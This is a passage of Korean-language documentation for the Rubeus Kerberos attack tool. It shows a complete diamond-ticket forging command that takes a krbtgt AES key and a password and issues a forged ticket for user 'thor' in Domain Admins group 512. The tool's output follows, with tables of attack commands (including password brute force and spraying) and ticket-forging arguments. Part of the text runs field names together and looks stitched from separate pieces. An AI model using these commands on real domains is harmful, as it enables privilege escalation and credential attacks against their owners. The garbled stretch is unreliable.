/ticketuser:X 인수는 수정된 티켓 내에서 사용할 사용자 이름을 지정하는 데 사용되며, /ticketuserid:#는 사용자의 RID를 지정하고, /groups:RID1,RID2...는 티켓의 그룹을 지정하고, /sids:SID1,SID2...는 ExtraSIDs 필드에 포함될 SID를 지정합니다.
사용자 이름과 암호를 사용하여 다이아몬드 TGT 생성:
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /user:loki /password:Mischief$ /enctype:aes /domain:marvel.local /dc:earth-dc.marvel.local /ticketuser:thor /ticketuserid:1104 /groups:512
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.1
[*] Action: Diamond Ticket
[*] Using domain controller: earth-dc.marvel.local (10.1.1.11)
[!] Pre-Authentication required!
[!] AES256 Salt: MARVEL.LOCALloki
[*] Using aes256_cts_hmac_sha1 hash: 8A90D4F4E8698E76FA014C97A539C1083EDDCB5A281B1274568758FB999DFCE7
[*] Building AS-REQ (w/ preauth) for: 'marvel.local\loki'
[*] Using domain controller: 10.1.1.11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
| 명령 | 설명 |
|---|
| asktgt | 해시/키 또는 비밀번호에서 티켓 부여 티켓(TGT) 요청 |
| asktgs | 전달된 TGT에서 서비스 티켓 요청 |
| renew | TGT 또는 서비스 티켓 갱신(또는 자동 갱신) |
| brute | Kerberos 기반 비밀번호 무차별 대입 공격 수행. 'brute' 대신 'spray'를 사용할 수도 있음 |
| preauthscan | Kerberos 사전 인증이 필요하지 않은 계정 스캔 수행 |
PrimaryGroupId/groupsGroups/pgidGroupCountHomeDirectoryHomeDirectoryDriveProfilePathLogonScriptLogoffTimeLogonTimePasswordLastSetPasswordCanChangePasswordLastSetPasswordMustChangePasswordLastSetExtraSIDsExtraSIDCountResourceGroupSid/resourcegroupsResourceGroupsResourceGroupCount/resourcegroupsid| 인수 | 설명 |
|---|
| /authtime | EncTicketPart의 authtime 필드를 설정함. 로컬 시간 형식 - 자동으로 UTC로 변환됨 (기본값: 현재) |
| /starttime | EncTicketPart의 starttime 필드를 설정함. 로컬 시간 형식 - 자동으로 UTC로 변환됨 (기본값: 현재) |
| /endtime | EncTicketPart의 endtime 필드를 설정함. starttime 기준으로, 승수(multiplier)와 시간 범위(timerange) 형식, 예: 5일이면 5d. 이 형식에 대한 자세한 내용은 아래에 설명됨 (기본값: 10h) |
| /renewtill | EncTicketPart의 renew-till 필드를 설정함. starttime 기준으로, 승수와 시간 범위 형식, 예: 5일이면 5d. 이 형식에 대한 자세한 내용은 아래에 설명됨 (기본값: 7d) |
| /rangeend | 서로 다른 시간에 시작하는 여러 티켓을 생성하기 위한 것. /starttime을 기준으로 한 마지막 starttime이며, 승수와 시간 범위 형식, 예: 5일이면 5d. 이 형식에 대한 자세한 내용은 아래에 설명됨 |
| /rangeinterval | 서로 다른 시간에 시작하는 여러 티켓을 생성하기 위한 것. 각 starttime 사이의 간격이며, 승수와 시간 범위 형식, 예: 5일이면 5d. 이 형식에 대한 자세한 내용은 아래에 설명됨 |
| /flags | EncTicketPart 내의 티켓 플래그를 설정함 (기본값: forwardable,renewable,pre_authent. golden의 경우 initial도 포함) |
| /extendedupndns | 확장된 UpnDns(여기에는 samaccountname과 계정 SID가 포함됨)를 포함함 |